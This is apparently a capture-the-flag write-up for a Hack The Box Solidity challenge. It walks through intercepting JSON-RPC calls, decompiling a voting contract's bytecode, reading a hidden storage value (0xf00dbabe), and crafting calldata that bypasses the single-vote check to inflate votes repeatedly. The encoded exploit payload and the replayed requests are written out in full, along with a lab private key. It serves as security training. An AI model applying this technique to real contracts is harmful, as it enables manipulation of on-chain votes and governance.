2244 Elections is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting only 1ip port pairs. So our general approach is not going to work here.
And appearantly that ip:port pair is a web page.
If we click the Connection
button on right upper we get our credentials
{
"PrivateKey": "0x86e20db2fd41d46e3c1f9fba4251f47888ad2fce181d815fd6029883b22cad84",
"Address": "0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14",
"TargetAddress": "0x98cA011fAdCCef08800803Ce26319782B24F498E",
"setupAddress": "0x28744218B1B7938EAb17BA9d4847f4ceBD846444"
}
Source Codes
With this challenge we got only one contract and thats the Setup.sol
and we don't have the source code of Target
. So it will be kind of blackbox.
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Voting} from "./Voting.sol";
contract Setup {
Voting public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Voting();
}
function isSolved() public view returns (bool) {
return (TARGET.WinningParty() == bytes3("UNZ"));
}
}
Solution
We can only see that the party UNZ
should win for us to get the flag. And we have no idea what is written on Voting
contract. So we need to track something from web page with the help of burp suite. I see there are couple POST /rpc
requests when i refresh the page.
Request
POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 250
Origin: http://94.237.54.201:35156
Connection: close
{"jsonrpc":"2.0","method":"eth_call","params":[{"from":"0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14","to":"0x98cA011fAdCCef08800803Ce26319782B24F498E","data":"0xb5b8f5bd426f410000000000000000000000000000000000000000000000000000000000"}],"id":"latest"}
Response
HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 20:58:06 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin
{"jsonrpc":"2.0","id":"latest","result":"0x0000000000000000000000000000000000000000000000000000000008f0d17f"}
So we can see that they are using Ethereum JSON-RPC for calls. From the data
section on that json we can understand the function from function signature (first 4 bytes). If we just copy paste it to 4byte dictionary we can see that request is PartyVotes(bytes3)
so it returns value and web page just creates animation for those percentages.
If we click Vote
and select UNZ
and SEND
we see another request
Request
POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 389
Origin: http://94.237.54.201:35156
Connection: close
{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{"from":"0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14","to":"0x98cA011fAdCCef08800803Ce26319782B24F498E","data":"0xf163fff9554e5a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"}],"id":"latest"}
Response
HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:05:16 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin
{"jsonrpc":"2.0","id":"latest","result":"0x7d7952651d5840ad2ea2e51dd482cd0579c902bb5f12e682d9b29821fd3529b1"}
And that 0xf163fff9
stands for publicVote(bytes3,bytes4,bytes3)
So we know how to vote for our party. However if we try to resend that request we get "execution reverted: Already voted!"
error. So we just can send 1 vote. We can try to get byteCode of this contract with the help of JSON-RPC.
Request
POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 120
Origin: http://94.237.54.201:35156
Connection: close
{"jsonrpc":"2.0","method":"eth_getCode","params":[
"0x98cA011fAdCCef08800803Ce26319782B24F498E",
"0x2"],"id":"latest"}
Response
HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:09:11 GMT
Connection: close
content-type: application/json
Content-Length: 1875
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin
{"jsonrpc":"2.0","id":"latest","result":"0x6080604052600436101561001257600080fd5b6000803560e01c9081631ee7b2d7146100bd5781632a58bee1146100755750806386de697014610070578063aadd1d041461006b578063b5b8f5bd146100665763f163fff91461006157600080fd5b61019e565b610163565b610128565b6100d7565b346100ba5760203660031901126100ba576004356001600160a01b038116908190036100b65760408260ff9260209452600384522054166040519015158152f35b5080fd5b80fd5b346100ba57806003193601126100ba575460805260206080f35b346100f55760003660031901126100f5576020600254604051908152f35b600080fd5b600435906001600160e81b0319821682036100f557565b604435906001600160e81b0319821682036100f557565b346100f55760203660031901126100f5576101496101446100fa565b6102df565b005b62ffffff60e81b166000526004602052604060002090565b346100f55760203660031901126100f5576001600160e81b03196101856100fa565b1660005260046020526020604060002054604051908152f35b346100f55760603660031901126100f5576101b76100fa565b602435906001600160e01b0319821682036100f557610149916101d8610111565b6101ec6101e48461014b565b54151561025f565b60e81c906001549060e01c1460011461024a575060015b336000908152600360205260409020546102209060ff16156102a2565b62ffffff61022d8361014b565b9116815401905533600052600360205260016040600020556102df565b33600052600360205260006040812055610203565b1561026657565b60405162461bcd60e51b8152602060048201526014602482015273506172747920646f65736e27742065786973742160601b6044820152606490fd5b156102a957565b60405162461bcd60e51b815260206004820152600e60248201526d416c726561647920766f7465642160901b6044820152606490fd5b6001600160e81b03191660008181526004602052604090205460025411156103045750565b6080817fba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d8692600055604051908152604060208201526011604082015270776f6e2074686520456c656374696f6e7360781b6060820152a156fea264697066735822122049861426e16379e484aec538daf43f9ae57a34b7f04aead974fadddea7296b6064736f6c63430008140033"}
Now we have the bytecode of the contract. We can try to decode it with public decoders like dedaub. If we decompile it Dedaub
gives us this decoded code.
// Decompiled by library.dedaub.com
// 2023.07.14 14:16 UTC
// Compiled using the solidity compiler version 0.8.20
// Data structures and variables inferred from the use of storage instructions
uint256 stor_0; // STORAGE[0x0]
uint256 stor_1; // STORAGE[0x1]
uint256 stor_2; // STORAGE[0x2]
mapping (uint256 => uint256) owner; // STORAGE[0x3]
mapping (uint256 => uint256) map_4; // STORAGE[0x4]
function 0xf163fff9(bytes3 varg0, bytes4 varg1, bytes3 varg2) public nonPayable {
require(~3 + msg.data.length >= 96);
require(!(varg0 - varg0));
require(!(varg1 - varg1));
require(!(varg2 - varg2));
require(!bool(!map_4[bytes3(varg0)]), Error("Party doesn't exist!"));
v0 = v1 = varg2 >> 232;
if (1 == (varg1 >> 224 == stor_1)) {
owner[msg.sender] = 0;
goto 0x203;
} else {
v0 = v2 = 1;
}
require(!bool(uint8(owner[msg.sender])), Error('Already voted!'));
map_4[varg0] = map_4[varg0] + uint24(v0);
owner[msg.sender] = 1;
if (stor_2 <= map_4[varg0]) {
stor_0 = varg0;
emit 0xba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d86(varg0, 'won the Elections');
goto 0x5ce;
}
}
function 0xb5b8f5bd(bytes3 varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
return map_4[varg0];
}
function 0xaadd1d04(bytes3 varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
if (stor_2 <= map_4[varg0]) {
stor_0 = varg0;
emit 0xba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d86(varg0, 'won the Elections');
goto 0x5ad;
}
}
function 0x86de6970() public nonPayable {
require(~3 + msg.data.length >= 0);
return stor_2;
}
function 0x2a58bee1(address varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
return bool(uint8(owner[address(varg0)]));
}
function 0x1ee7b2d7() public nonPayable {
require(msg.data.length + ~3 >= 0);
return stor_0;
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(msg.data.length >= 4);
if (0x1ee7b2d7 == function_selector >> 224) {
0x1ee7b2d7();
} else if (0x2a58bee1 == function_selector >> 224) {
0x2a58bee1();
} else if (0x86de6970 == function_selector >> 224) {
0x86de6970();
} else if (0xaadd1d04 == function_selector >> 224) {
0xaadd1d04();
} else if (0xb5b8f5bd == function_selector >> 224) {
0xb5b8f5bd();
} else {
require(0xf163fff9 == function_selector >> 224);
0xf163fff9();
}
}
From here we can see function 0xb5b8f5bd
and 0xf163fff9
which are stand for PartyVotes(bytes3)
and publicVote(bytes3,bytes4,bytes3)
. So if we take a look to the PartyVotes
function there is pretty much nothing special, it just gets one bytes3
variable which is in this case our party name and returns the value from map return map_4[varg0];
. So we can assume that map_4
is responsible to count votes. However on publicVote(bytes3,bytes4,bytes3)
function there are some interesting controls.
if (1 == (varg1 >> 224 == stor_1)) {
owner[msg.sender] = 0;
goto 0x203;
} else {
v0 = v2 = 1;
}
If code enters to that if statement it just assigns 0 to owner[msg.sender]
and which is controlled right after that if else block in require statement and raises error "Already voted" require(!bool(uint8(owner[msg.sender])), Error('Already voted!'));
so it mean that owner
map is controlling if msg.sender
already voted or not. But if we bypass that if statement somehow it means we can vote again.
That if statement will be True
only if 224 right shifted varg1
is equal to stor_1
. To achieve this we need to find what is hidden in stor_1
. We can do that again with JSON-Rpc with calling getStorageAt
. And that stor_1
is on index 1.
Request
POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 136
Origin: http://94.237.54.201:35156
Connection: close
{"jsonrpc":"2.0","method":"eth_getStorageAt","params":[
"0x98cA011fAdCCef08800803Ce26319782B24F498E",
"0x1",
"latest"],"id":"latest"}
Response
HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:17:06 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin
{"jsonrpc":"2.0","id":"latest","result":"0x00000000000000000000000000000000000000000000000000000000f00dbabe"}
So now we know that the value in stor_1
is 0xf00dbabe
. And varg2
is used to increase vote count, and if we pass that if
statement it means we can also give more vote than 1 in the same time. From the vote
rpc request we know our party id is 0x554e5a
, we know we should send varg1
as 0xf00dbabe
and we also know varg2
is our vote power, so we can give it 0xffffff
as maximum. To create this data we can write very small solidity code on local.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
contract GetData {
constructor() public {
}
function getData(bytes3 varg0, bytes4 varg1, bytes3 varg2) public view returns (bytes memory){
return abi.encodeWithSignature("publicVote(bytes3,bytes4,bytes3)", varg0, varg1, varg2);
}
}
And we can create that data with calling this function
>>> x = GetData.deploy({'from': accounts[0]})
Transaction sent: 0x5e53943d0e6d6510c021dc6f5e32f2068d5a2da597fcbf81265aefddac14dfba
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8
GetData.constructor confirmed Block: 9 Gas used: 132151 (1.10%)
GetData deployed at: 0x420b1099B9eF5baba6D92029594eF45E19A04A4A
>>> x.getData(0x554e5a, 0xf00dbabe, 0xffffff)
0xf163fff9554e5a0000000000000000000000000000000000000000000000000000000000f00dbabe00000000000000000000000000000000000000000000000000000000ffffff0000000000000000000000000000000000000000000000000000000000
>>>
So if we call vote
request with this data we should be able to vote over and over again until we won the election. Since we can't vote anymore, we just need to restart machine, intercept our request and change data with this one.
And after interception when we click Forward
and refresh the page we see that our party got ~%10 more percentage and became %20.
So if we keep sending same request ~8 times with the help of repeater we will won the election.